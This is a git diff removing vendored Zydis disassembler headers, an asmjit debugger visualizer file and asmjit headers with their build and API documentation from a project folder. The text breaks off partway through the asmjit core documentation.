LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - -***************************************************************************************************/ - -/** - * @file - * Master include file, including everything else. - */ - -#ifndef ZYDIS_H -#define ZYDIS_H - -#include -#include - -#ifndef ZYDIS_DISABLE_DECODER -# include -# include -#endif - -#ifndef ZYDIS_DISABLE_FORMATTER -# include -#endif - -#include -#include -#include -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* ============================================================================================== */ -/* Macros */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* Constants */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * A macro that defines the zydis version. - */ -#define ZYDIS_VERSION (ZyanU64)0x0003000100000000 - -/* ---------------------------------------------------------------------------------------------- */ -/* Helper macros */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Extracts the major-part of the zydis version. - * - * @param version The zydis version value - */ -#define ZYDIS_VERSION_MAJOR(version) (ZyanU16)(((version) & 0xFFFF000000000000) >> 48) - -/** - * Extracts the minor-part of the zydis version. - * - * @param version The zydis version value - */ -#define ZYDIS_VERSION_MINOR(version) (ZyanU16)(((version) & 0x0000FFFF00000000) >> 32) - -/** - * Extracts the patch-part of the zydis version. - * - * @param version The zydis version value - */ -#define ZYDIS_VERSION_PATCH(version) (ZyanU16)(((version) & 0x00000000FFFF0000) >> 16) - -/** - * Extracts the build-part of the zydis version. - * - * @param version The zydis version value - */ -#define ZYDIS_VERSION_BUILD(version) (ZyanU16)((version) & 0x000000000000FFFF) - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ -/* Enums and types */ -/* ============================================================================================== */ - -/** - * Defines the `ZydisFeature` enum. - */ -typedef enum ZydisFeature_ -{ - ZYDIS_FEATURE_DECODER, - ZYDIS_FEATURE_FORMATTER, - ZYDIS_FEATURE_AVX512, - ZYDIS_FEATURE_KNC, - - /** - * Maximum value of this enum. - */ - ZYDIS_FEATURE_MAX_VALUE = ZYDIS_FEATURE_KNC, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_FEATURE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_FEATURE_MAX_VALUE) -} ZydisFeature; - -/* ============================================================================================== */ -/* Exported functions */ -/* ============================================================================================== */ - -/** - * @addtogroup version Version - * Functions for checking the library version and build options. - * @{ - */ - -/** - * Returns the zydis version. - * - * @return The zydis version. - * - * Use the macros provided in this file to extract the major, minor, patch and build part from the - * returned version value. - */ -ZYDIS_EXPORT ZyanU64 ZydisGetVersion(void); - -/** - * Checks, if the specified feature is enabled in the current zydis library instance. - * - * @param feature The feature. - * - * @return `ZYAN_STATUS_TRUE` if the feature is enabled, `ZYAN_STATUS_FALSE` if not. Another - * zyan status code, if an error occured. - */ -ZYDIS_EXPORT ZyanStatus ZydisIsFeatureEnabled(ZydisFeature feature); - -/** - * @} - */ - -/* ============================================================================================== */ - -#ifdef __cplusplus -} -#endif - -#endif /* ZYDIS_H */ diff --git a/src/Theodosius/ZydisExportConfig.h b/src/Theodosius/ZydisExportConfig.h deleted file mode 100644 index 2e0b4a2..0000000 --- a/src/Theodosius/ZydisExportConfig.h +++ /dev/null @@ -1,42 +0,0 @@ - -#ifndef ZYDIS_EXPORT_H -#define ZYDIS_EXPORT_H - -#ifdef ZYDIS_STATIC_DEFINE -# define ZYDIS_EXPORT -# define ZYDIS_NO_EXPORT -#else -# ifndef ZYDIS_EXPORT -# ifdef Zydis_EXPORTS - /* We are building this library */ -# define ZYDIS_EXPORT __declspec(dllexport) -# else - /* We are using this library */ -# define ZYDIS_EXPORT __declspec(dllimport) -# endif -# endif - -# ifndef ZYDIS_NO_EXPORT -# define ZYDIS_NO_EXPORT -# endif -#endif - -#ifndef ZYDIS_DEPRECATED -# define ZYDIS_DEPRECATED __declspec(deprecated) -#endif - -#ifndef ZYDIS_DEPRECATED_EXPORT -# define ZYDIS_DEPRECATED_EXPORT ZYDIS_EXPORT ZYDIS_DEPRECATED -#endif - -#ifndef ZYDIS_DEPRECATED_NO_EXPORT -# define ZYDIS_DEPRECATED_NO_EXPORT ZYDIS_NO_EXPORT ZYDIS_DEPRECATED -#endif - -#if 0 /* DEFINE_NO_DEPRECATED */ -# ifndef ZYDIS_NO_DEPRECATED -# define ZYDIS_NO_DEPRECATED -# endif -#endif - -#endif /* ZYDIS_EXPORT_H */ diff --git a/src/Theodosius/asmjit.natvis b/src/Theodosius/asmjit.natvis deleted file mode 100644 index b73d848..0000000 --- a/src/Theodosius/asmjit.natvis +++ /dev/null @@ -1,201 +0,0 @@ - - - - - - - - {_small.data, s8} - {_large.data, s8} - - - Small - Large - External - - (int)_small.type, d - _large.size, d - asmjit::String::kSSOCapacity, d - _large.capacity, d - _small.data, s8 - _large.data, s8 - - - - - {{ [size={_size, d} capacity={_capacity, d}] }} - - _size, d - _capacity, d - - _size - (($T1*)_data) - - - - - - - - - - - - - - - - - - - - - - - - - - [None] - [Reg] {{ id={_baseId, d} group={regGroup(), d} type={regType(), d} size={opSize(), d} }} - [Mem] {{ baseId={memBaseId(), d} indexId={memIndexId(), d} offset={(__int64)memOffset(), d} }} - [Imm] {{ val={immValue(), d} hex={immValue(), X} }} - [Label] {{ id={_baseId} }} - [Unknown] - - _signature, X - (asmjit::Operand_::OpType)opType() - opSize(), d - (asmjit::BaseReg::RegType)regType() - (asmjit::BaseReg::RegGroup)regGroup() - (asmjit::BaseReg::RegType)memBaseType() - (asmjit::BaseReg::RegType)memIndexType() - (asmjit::BaseMem::AddrType)memAddrType() - (bool)memRegHome() - _baseId - _data[0] - _data[1] - _data[0] - _data[1] - _data[0] - _data[1] - - - - - - - - - - - - - - - [RegValue {{ regType={regType()} indirect={isIndirect()} done={isDone()} }}] - [StackValue {{ indirect={isIndirect()} done={isDone()} }}] - [Unknown] - - - _data - (asmjit::Type::Id)(typeId()) - (asmjit::BaseReg::RegType)regType() - regId() - stackOffset() - - - - - - - - - - - - - - - - - - - - - - - - - [InstNode] - [SectionNode] - [LabelNode] - [AlignNode] - [EmbedDataNode] - [EmbedLabelNode] - [EmbedLabelDeltaNode] - [ConstPoolNode] - [CommentNode] - [SentinelNode] - [JumpNode] - [FuncNode] - [FuncRetNode] - [InvokeNode] - [UnknownNode {nodeType(), d}] - - - _prev - _next - - (asmjit::BaseNode::NodeType)_any._nodeType - (asmjit::BaseNode::Flags)_any._nodeFlags - - _position - _userDataU64 - _userDataPtr - _passData - _inlineComment, s8 - - ((asmjit::InstNode*)this)->_baseInst - _inst._opCount - _inst._opCapacity - ((asmjit::InstNode*)this)->_opArray, [_inst._opCount] - - ((asmjit::SectionNode*)this)->_id - ((asmjit::SectionNode*)this)->_nextSection - - ((asmjit::LabelNode*)this)->_id - - ((asmjit::AlignNode*)this)->_alignMode - ((asmjit::AlignNode*)this)->_alignment - - _embed._typeId, d - _embed._typeSize, d - ((asmjit::EmbedDataNode*)this)->_itemCount - ((asmjit::EmbedDataNode*)this)->_repeatCount - ((asmjit::EmbedDataNode*)this)->_inlineData - ((asmjit::EmbedDataNode*)this)->_externalData - - ((asmjit::EmbedLabelNode*)this)->_id - - ((asmjit::EmbedLabelDeltaNode*)this)->_id - ((asmjit::EmbedLabelDeltaNode*)this)->_baseId - ((asmjit::EmbedLabelDeltaNode*)this)->_dataSize - - ((asmjit::ConstPoolNode*)this)->_constPool - - (asmjit::SentinelNode::SentinelType)_sentinel._sentinelType - - ((asmjit::JumpNode*)this)->_annotation - - ((asmjit::FuncNode*)this)->_funcDetail - ((asmjit::FuncNode*)this)->_frame - ((asmjit::FuncNode*)this)->_exitNode - ((asmjit::FuncNode*)this)->_end - ((asmjit::FuncNode*)this)->_args, [((asmjit::FuncNode*)this)->_funcDetail._argCount] - - ((asmjit::InvokeNode*)this)->_funcDetail - ((asmjit::InvokeNode*)this)->_rets, [((asmjit::InvokeNode*)this)->_funcDetail._retCount] - ((asmjit::InvokeNode*)this)->_args, [((asmjit::InvokeNode*)this)->_funcDetail._argCount] - - - diff --git a/src/Theodosius/asmjit/asmjit-scope-begin.h b/src/Theodosius/asmjit/asmjit-scope-begin.h deleted file mode 100644 index 6ee5050..0000000 --- a/src/Theodosius/asmjit/asmjit-scope-begin.h +++ /dev/null @@ -1,35 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#ifdef _WIN32 - #pragma push_macro("min") - #pragma push_macro("max") - - #ifdef min - #undef min - #endif - - #ifdef max - #undef max - #endif -#endif diff --git a/src/Theodosius/asmjit/asmjit-scope-end.h b/src/Theodosius/asmjit/asmjit-scope-end.h deleted file mode 100644 index 447105a..0000000 --- a/src/Theodosius/asmjit/asmjit-scope-end.h +++ /dev/null @@ -1,27 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#ifdef _WIN32 - #pragma pop_macro("min") - #pragma pop_macro("max") -#endif diff --git a/src/Theodosius/asmjit/asmjit.h b/src/Theodosius/asmjit/asmjit.h deleted file mode 100644 index 400426c..0000000 --- a/src/Theodosius/asmjit/asmjit.h +++ /dev/null @@ -1,37 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#ifndef ASMJIT_ASMJIT_H_INCLUDED -#define ASMJIT_ASMJIT_H_INCLUDED - -#include "./core.h" - -#ifdef ASMJIT_BUILD_X86 - #include "./x86.h" -#endif - -#ifdef ASMJIT_BUILD_ARM - #include "./arm.h" -#endif - -#endif // ASMJIT_ASMJIT_H_INCLUDED diff --git a/src/Theodosius/asmjit/core.h b/src/Theodosius/asmjit/core.h deleted file mode 100644 index 52540ab..0000000 --- a/src/Theodosius/asmjit/core.h +++ /dev/null @@ -1,2063 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#ifndef ASMJIT_CORE_H_INCLUDED -#define ASMJIT_CORE_H_INCLUDED - -//! Root namespace used by AsmJit. -namespace asmjit { - -// ============================================================================ -// [Documentation - mainpage] -// ============================================================================ - -//! \mainpage API Reference -//! -//! AsmJit C++ API reference documentation generated by Doxygen. -//! -//! AsmJit library uses one global namespace called \ref asmjit, which provides -//! the whole functionality. Core functionality is within \ref asmjit namespace -//! and architecture specific functionality is always in its own namespace. For -//! example \ref asmjit::x86 provides both 32-bit and 64-bit X86 code generation. -//! -//! \section main_groups Documentation Groups -//! -//! AsmJit documentation is structured into groups. Groups can be followed in -//! order to learn AsmJit, but knowledge from multiple groups is required to -//! use AsmJit properly: -//! -//! $$DOCS_GROUP_OVERVIEW$$ -//! -//! \note It's important to understand that in order to learn AsmJit all groups -//! are important. Some groups can be omitted if a particular tool is out of -//! interest - for example \ref asmjit_assembler users don't need to know about -//! \ref asmjit_builder, but it's not the opposite. \ref asmjit_builder users -//! must know about \ref asmjit_assembler as it also uses operands, labels, and -//! other concepts. Similarly \ref asmjit_compiler users must know how both \ref -//! asmjit_assembler and \ref asmjit_builder tools work. -//! -//! \section where_to_start Where To Start -//! -//! AsmJit \ref asmjit_core provides the following two classes that are essential -//! from the code generation perspective: -//! -//! - \ref CodeHolder provides functionality -//! to temporarily hold the generated code. It stores all the necessary -//! information about the code - code buffers, sections, labels, symbols, -//! and information about relocations. -//! -//! - \ref BaseEmitter provides interface used -//! by emitter implementations. The interface provides basic building blocks -//! that are then implemented by \ref BaseAssembler, \ref BaseBuilder, and -//! \ref BaseCompiler. -//! -//! Code emitters: -//! -//! - \ref asmjit_assembler - provides direct machine code generation. -//! -//! - \ref asmjit_builder - provides intermediate code generation that can -//! be processed before it's serialized to \ref BaseAssembler. -//! -//! - \ref asmjit_compiler - provides high-level code generation with built-in -//! register allocation. -//! -//! - \ref FuncNode - provides insight into how function looks from the Compiler -//! perspective and how it's stored in a node-list. -//! -//! \section main_recommendations Recommendations -//! -//! The following steps are recommended for all AsmJit users: -//! -//! - Make sure that you use \ref Logger, see \ref asmjit_logging. -//! -//! - Make sure that you use \ref ErrorHandler, see \ref asmjit_error_handling. -//! -//! - Instruction validation in your debug builds can reveal problems too. -//! AsmJit provides validation at instruction level, that can be enabled -//! by \ref BaseEmitter::addValidationOptions(). -//! -//! See \ref BaseEmitter::ValidationOptions for more details. -//! -//! - Make sure you put a breakpoint into \ref DebugUtils::errored() function -//! if you have a problem with AsmJit returning errors during instruction -//! encoding or register allocation. Having an active breakpoint there can -//! help to reveal the origin of the error, to inspect variables and other -//! conditions that caused to it. -//! -//! The reason for using \ref Logger and \ref ErrorHandler is that they provide -//! a very useful information about what's happening inside emitters. In many -//! cases the information provided by these two is crucial to quickly fix issues -//! that happen during development (for example wrong instruction, address, or -//! register used). In addition, output from \ref Logger is always necessary -//! when filling bug reports. In other words, using logging and proper error -//! handling can save a lot of time during the development. -//! -//! \section main_other Other Pages -//! -//! -
Class List - List of classes sorted alphabetically -//! - AsmJit Namespace - List of symbols provided by `asmjit` namespace - -// ============================================================================ -// [Documentation - asmjit_build] -// ============================================================================ - -//! \defgroup asmjit_build Build Instructions -//! \brief Build instructions, supported environments, and feature selection. -//! -//! ### Overview -//! -//! AsmJit is designed to be easy embeddable in any project. However, it depends -//! on some compile-time definitions that can be used to enable or disable -//! features to decrease the resulting binary size. A typical way of building -//! AsmJit is to use [cmake](https://www.cmake.org), but it's also possible to -//! just include AsmJit source code in your project and to just build it. The -//! easiest way to include AsmJit in your project is to just include **src** -//! directory in your project and to define \ref ASMJIT_STATIC. AsmJit can be -//! just updated from time to time without any changes to this integration -//! process. Do not embed AsmJit's `test` files in such case as these are used -//! exclusively for testing. -//! -//! ### Supported C++ Compilers -//! -//! - Requirements: -//! -//! - AsmJit won't build without C++11 enabled. If you use older GCC or Clang -//! you would have to enable at least C++11 standard through compiler flags. -//! -//! - Tested: -//! -//! - **Clang** - Tested by Travis-CI - Clang 3.9+ (with C++11 enabled) is -//! officially supported (older Clang versions having C++11 support are -//! probably fine, but are not regularly tested). -//! -//! - **GNU** - Tested by Travis-CI - GCC 4.8+ (with C++11 enabled) is -//! officially supported. -//! -//! - **MINGW** - Tested by Travis-CI - Use the latest version, if possible. -//! -//! - **MSVC** - Tested by Travis-CI - VS2017+ is officially supported, VS2015 -//! is reported to work. -//! -//! - Untested: -//! -//! - **Intel** - No maintainers and no CI environment to regularly test -//! this compiler. -//! -//! - **Other** C++ compilers would require basic support in -//! [core/api-config.h](https://github.com/asmjit/asmjit/tree/master/src/asmjit/core/api-config.h). -//! -//! ### Supported Operating Systems and Platforms -//! -//! - Tested: -//! -//! - **Linux** - Tested by Travis-CI (any distribution is generally supported). -//! -//! - **OSX** - Tested by Travis-CI (any version is supported). -//! -//! - **Windows** - Tested by Travis-CI - (Windows 7+ is officially supported). -//! -//! - **Emscripten** - Works if compiled with \ref ASMJIT_NO_JIT. AsmJit -//! cannot generate WASM code, but can be used to generate X86/X64 code -//! within a browser, for example. -//! -//! - Untested: -//! -//! - **BSDs** - No maintainers, no CI environment to regularly test BSDs, -//! but they should work out of box. -//! -//! - **Haiku** - Not regularly tested, but reported to work. -//! -//! - **Other** operating systems would require some testing and support in -//! the following files: -//! - [core/api-config.h](https://github.com/asmjit/asmjit/tree/master/src/asmjit/core/api-config.h) -//! - [core/osutils.cpp](https://github.com/asmjit/asmjit/tree/master/src/asmjit/core/osutils.cpp) -//! - [core/virtmem.cpp](https://github.com/asmjit/asmjit/tree/master/src/asmjit/core/virtmem.cpp) -//! -//! ### Supported Backends / Architectures -//! -//! - **X86** - Both 32-bit and 64-bit backends tested by Travis-CI. -//! - **ARM** - Work-in-progress (not public at the moment). -//! -//! ### Static Builds and Embedding -//! -//! These definitions can be used to enable static library build. Embed is used -//! when AsmJit's source code is embedded directly in another project, implies -//! static build as well. -//! -//! - \ref ASMJIT_EMBED - Asmjit is embedded, implies \ref ASMJIT_STATIC. -//! - \ref ASMJIT_STATIC - Enable static-library build. -//! -//! \note Projects that use AsmJit statically must define \ref ASMJIT_STATIC in -//! all compilation units that use AsmJit, otherwise AsmJit would use dynamic -//! library imports in \ref ASMJIT_API decorator. The recommendation is to -//! define this macro across the whole project that uses AsmJit this way. -//! -//! ### Build Configuration -//! -//! These definitions control whether asserts are active or not. By default -//! AsmJit would autodetect build configuration from existing pre-processor -//! definitions, but this behavior can be overridden, for example to enable -//! debug asserts in release configuration. -//! -//! - \ref ASMJIT_BUILD_DEBUG - Overrides build configuration to debug, -//! asserts will be enabled in this case. -//! - \ref ASMJIT_BUILD_RELEASE - Overrides build configuration to release, -//! asserts will be disabled in this case. -//! -//! \note There is usually no need to override the build configuration. AsmJit -//! detects the build configuration by checking whether `NDEBUG` is defined and -//! automatically defines \ref ASMJIT_BUILD_RELEASE if configuration overrides -//! were not used. We only recommend using build configuration overrides in -//! special situations, like using AsmJit in release configuration with asserts -//! enabled for whatever reason. -//! -//! ### AsmJit Backends -//! -//! AsmJit currently supports only X86/X64 backend, but the plan is to add more -//! backends in the future. By default AsmJit builds only the host backend, which -//! is autodetected at compile-time, but this can be overridden. -//! -//! - \ref ASMJIT_BUILD_X86 - Always build X86 backend (X86 and X86_64). -//! - \ref ASMJIT_BUILD_ARM - Always build ARM backend (ARM and AArch64). -//! - \ref ASMJIT_BUILD_HOST - Always build the host backend. -//! -//! ### Features Selection -//! -//! AsmJit builds by defaults all supported features, which includes all emitters, -//! logging, instruction validation and introspection, and JIT memory allocation. -//! Features can be disabled at compile time by using `ASMJIT_NO_...` definitions. -//! -//! - \ref ASMJIT_NO_DEPRECATED - Disables deprecated API at compile time -//! so it won't be available and the compilation will fail if there is -//! attempt to use such API. This includes deprecated classes, namespaces, -//! enumerations, and functions. -//! -//! - \ref ASMJIT_NO_FOREIGN - Disables the support for foreign architectures. -//! If defined, it would internally set \ref ASMJIT_BUILD_HOST to true. -//! -//! - \ref ASMJIT_NO_BUILDER - Disables \ref asmjit_builder functionality -//! completely. This implies \ref ASMJIT_NO_COMPILER as \ref asmjit_compiler -//! cannot be used without \ref asmjit_builder. -//! -//! - \ref ASMJIT_NO_COMPILER - Disables \ref asmjit_compiler functionality -//! completely. -//! -//! - \ref ASMJIT_NO_JIT - Disables JIT memory management and \ref JitRuntime. -//! -//! - \ref ASMJIT_NO_LOGGING - Disables \ref Logger and \ref Formatter. -//! -//! - \ref ASMJIT_NO_TEXT - Disables everything that contains string -//! representation of AsmJit constants, should be used together with -//! \ref ASMJIT_NO_LOGGING as logging doesn't make sense without the -//! ability to quiry instruction names, register names, etc... -//! -//! - \ref ASMJIT_NO_VALIDATION - Disables validation API. -//! -//! - \ref ASMJIT_NO_INTROSPECTION - Disables instruction introspection API, -//! must be used together with \ref ASMJIT_NO_COMPILER as \ref asmjit_compiler -//! requires introspection for its liveness analysis and register allocation. -//! -//! \note It's not recommended to disable features if you plan to build AsmJit -//! as a shared library that will be used by multiple projects that you don't -//! control how AsmJit was built (for example AsmJit in a Linux distribution). -//! The possibility to disable certain features exists mainly for customized -//! AsmJit builds. - -// ============================================================================ -// [Documentation - asmjit_breaking_changes] -// ============================================================================ - -//! \defgroup asmjit_breaking_changes Breaking Changes -//! \brief Documentation of breaking changes -//! -//! ### Overview -//! -//! AsmJit is a live project that is being actively developed. Deprecating the -//! existing API in favor of a new one is preferred, but it's not always -//! possible if the changes are significant. AsmJit authors prefer to do -//! accumulated breaking changes at once instead of breaking the API often. -//! This page documents deprecated and removed APIs and should serve as a how-to -//! guide for people that want to port existing code to work with the newest AsmJit. -//! -//! ### Tips -//! -//! Useful tips before you start: -//! -//! - Visit our [Public Gitter Channel](https://gitter.im/asmjit/asmjit) if -//! you need a quick help. -//! -//! - Build AsmJit with `ASMJIT_NO_DEPRECATED` macro defined to make sure that -//! you are not using deprecated functionality at all. Deprecated functions -//! are decorated with `ASMJIT_DEPRECATED()` macro, but sometimes it's not -//! possible to decorate everything like classes, which are used by deprecated -//! functions as well, because some compilers would warn about that. If your -//! project compiles fine with `ASMJIT_NO_DEPRECATED` it's not using anything, -//! which was deprecated. -//! -//! ### Changes committed at 2020-05-30 -//! -//! AsmJit has been cleaned up significantly, many todo items have been fixed -//! and many functions and classes have been redesigned, some in an incompatible -//! way. -//! -//! Core changes: -//! -//! - \ref Imm operand has now only \ref Imm::value() and \ref Imm::valueAs() -//! functions that return its value content, and \ref Imm::setValue() function -//! that sets the content. Functions like `setI8()`, `setU8()` were deprecated. -//! -//! Old functions were deprecated, but code using them should still compile. -//! -//! - `ArchInfo` has been replaced with \ref Environment. Environment provides -//! more details about the architecture, but drops some properties that -//! were used by arch info - `gpSize(`) and `gpCount()`. `gpSize()` can -//! be replaced with `registerSize()` getter, which returns a native register -//! size of the architecture the environment uses. However, `gpCount()` was -//! removed - at the moment \ref ArchRegs can be used to access such properties. -//! -//! Some other functions were renamed, like `ArchInfo::isX86Family()` is -//! now \ref Environment::isFamilyX86(), etc. The reason for changing the -//! order was support for more propertries and all the accessors now -//! start with the type of the property, like \ref Environment::isPlatformWindows(). -//! -//! This function causes many other classes to provide `environment()` getter -//! instead of `archInfo()` getter. In addition, AsmJit now uses `arch()` to -//! get an architecture instead of `archId()`. `ArchInfo::kIdXXX` was renamed -//! to `Environment::kArchXXX`. -//! -//! Some functions were deprecated, some removed... -//! -//! - `CodeInfo` has been removed in favor of \ref Environment. If you used -//! `CodeInfo` to set architecture and base address, this is now possible -//! with \ref Environment and setting base address explicitly by \ref -//! CodeHolder::init() - the first argument is \ref Environment, and the -//! second argument is base address, which defaults to \ref -//! Globals::kNoBaseAddress. -//! -//! CodeInfo class was deprecated, but the code using it should still -//! compile with warnings. -//! -//! - \ref CallConv has been updated to offer a more unified way of representing -//! calling conventions - many calling conventions were abstracted to follow -//! standard naming like \ref CallConv::kIdCDecl or \ref CallConv::kIdStdCall. -//! -//! This change means that other APIs like \ref FuncDetail::init() now -//! require both, calling convention and target \ref Environment. -//! -//! - `Logging` namespace has been renamed to \ref Formatter, which now -//! provides general functionality for formatting in AsmJit. -//! -//! Logging namespace should still work, but its use is deprecated. -//! Unfortunately this will be without deprecation warnings, so please -//! make sure you don't use it. -//! -//! - `Data64`, `Data128`, and `Data256` structs were deprecated and should -//! no longer be used. There is no replacement, AsmJit users should simply -//! create their own structures if they need them or use the new repeated -//! embed API in emitters, see \ref BaseEmitter::embedDataArray(). -//! -//! Emitter changes: -//! -//! - \ref BaseEmitter::emit() function signature has been changed to accept -//! 3 operands by reference and the rest 3 operands as a continuous array. -//! This change is purely cosmetic and shouldn't affect users as emit() -//! has many overloads that dispatch to the right function. -//! -//! - \ref x86::Emitter (Assembler, Builder, Compiler) deprecates embed -//! utilities like `dint8()`, `duint8()`, `duint16()`, `dxmm()`, etc... -//! in favor of a new and more powerful \ref BaseEmitter::embedDataArray(). -//! This function also allows emitting repeated values and/or patterns, -//! which is used by helpers \ref BaseEmitter::embedUInt8(), and others... -//! -//! - Validation is now available through \ref BaseEmitter::ValidationOptions, -//! which can be enabled/disabled through \ref BaseEmitter::addValidationOptions() -//! and \ref BaseEmitter::clearValidationOptions(), respectively. Validation -//! options now separate between encoding and Builder/Compiler so it's possible -//! to choose the granularity required. -//! -//! Builder changes: -//! -//! - Internal functions for creating nodes were redesigned. They now accept -//! a pointer to the node created as a first parameter. These changes should -//! not affect AsmJit users as these functions were used internally. -//! -//! Compiler changes: -//! -//! - `FuncCallNode` has been renamed to \ref InvokeNode. Additionally, function -//! calls should now use \ref x86::Compiler::invoke() instead of `call()`. -//! The reason behind this is to remove the confusion between a `call` -//! instruction and AsmJit's `call()` intrinsic, which is now `invoke()`. -//! -//! - Creating new nodes also changed. Now the preferred way of invoking a -//! function is to call \ref x86::Compiler::invoke() where the first -//! argument is `InvokeNode**`. The function now returns an error and would -//! call \ref ErrorHandler in case of a failure. Error handling was -//! unspecified in the past - the function was marked noexcept, but called -//! error handler, which could throw. -//! -//! The reason behind this change is to make the API consistent with other -//! changes and to also make it possible to inspect the possible error. In -//! the previous API it returned a new node or `nullptr` in case of error, -//! which the user couldn't inspect unless there was an attached \ref -//! ErrorHandler. -//! -//! Samples: -//! -//! ``` -//! #include -//! using namespace asmjit; -//! -//! // The basic setup of JitRuntime and CodeHolder changed, use environment() -//! // instead of codeInfo(). -//! void basicSetup() { -//! JitRuntime rt; -//! CodeHolder code(rt.environment()); -//! } -//! -//! // Calling a function (Compiler) changed - use invoke() instead of call(). -//! void functionInvocation(x86::Compiler& cc) { -//! InvokeNode* invokeNode; -//! cc.invoke(&invokeNode, targetOperand, FuncSignatureT<...>(...)); -//! } -//! ``` - -// ============================================================================ -// [Documentation - asmjit_core] -// ============================================================================ - -//! \defgroup asmjit_core Core -//! \brief Globals, code storage, and emitter interface. -//! -//! ### Overview -//! -//! AsmJit library uses \ref CodeHolder to hold code during code generation and -//! emitters inheriting from \ref BaseEmitter to emit code. CodeHolder uses -//! containers to manage its data: -//! -//! - \ref Section - stores information about a code or data section. -//! - \ref CodeBuffer - stores actual code or data, part of \ref Section. -//! - \ref LabelEntry - stores information about a label - its name, offset, -//! section where it belongs to, and other bits. -//! - \ref LabelLink - stores information about yet unbound label, which was -//! already used by the assembler. -//! - \ref RelocEntry - stores information about a relocation. -//! - \ref AddressTableEntry - stores information about an address, which was -//! used in a jump or call. Such address may need relocation. -//! -//! To generate code you would need to instantiate at least the following classes: -//! -//! - \ref CodeHolder - to hold code during code generation. -//! - \ref BaseEmitter - to emit code into \ref CodeHolder. -//! - \ref Target (optional) - most likely \ref JitRuntime to keep the generated -//! code in executable memory. \ref Target can be customized by inheriting from -//! it. -//! -//! There are also other core classes that are important: -//! -//! - \ref Environment - describes where the code will run. Environment brings -//! the concept of target triples or tuples into AsmJit, which means that users -//! can specify target architecture, platform, and ABI. -//! - \ref Type - encapsulates lightweight type functionality that can be used -//! to describe primitive and vector types. Types are used by higher level -//! utilities, for example by \ref asmjit_function and \ref asmjit_compiler. -//! - \ref CpuInfo - encapsulates CPU information - stores both CPU information -//! and features described by \ref BaseFeatures. -//! -//! AsmJit also provides global constants: -//! -//! - \ref Globals - namespace that provides global constants. -//! - \ref ByteOrder - byte-order constants and functionality. -//! -//! \note CodeHolder examples use \ref x86::Assembler as abstract interfaces cannot -//! be used to generate code. -//! -//! ### CodeHolder & Emitters -//! -//! The example below shows how the mentioned classes interact to generate X86 code: -//! -//! ``` -//! #include -//! #include -//! -//! using namespace asmjit; -//! -//! // Signature of the generated function. -//! typedef int (*Func)(void); -//! -//! int main() { -//! JitRuntime rt; // Runtime specialized for JIT code execution. -//! -//! CodeHolder code; // Holds code and relocation information. -//! code.init(rt.environment()); // Initialize code to match the JIT environment. -//! -//! x86::Assembler a(&code); // Create and attach x86::Assembler to code. -//! a.mov(x86::eax, 1); // Move one to eax register. -//! a.ret(); // Return from function. -//! // ===== x86::Assembler is no longer needed from here and can be destroyed ===== -//! -//! Func fn; // Holds address to the generated function. -//! Error err = rt.add(&fn, &code); // Add the generated code to the runtime. -//! if (err) return 1; // Handle a possible error returned by AsmJit. -//! // ===== CodeHolder is no longer needed from here and can be destroyed ===== -//! -//! int result = fn(); // Execute the generated code. -//! printf("%d\n", result); // Print the resulting "1". -//! -//! // All classes use RAII, all resources will 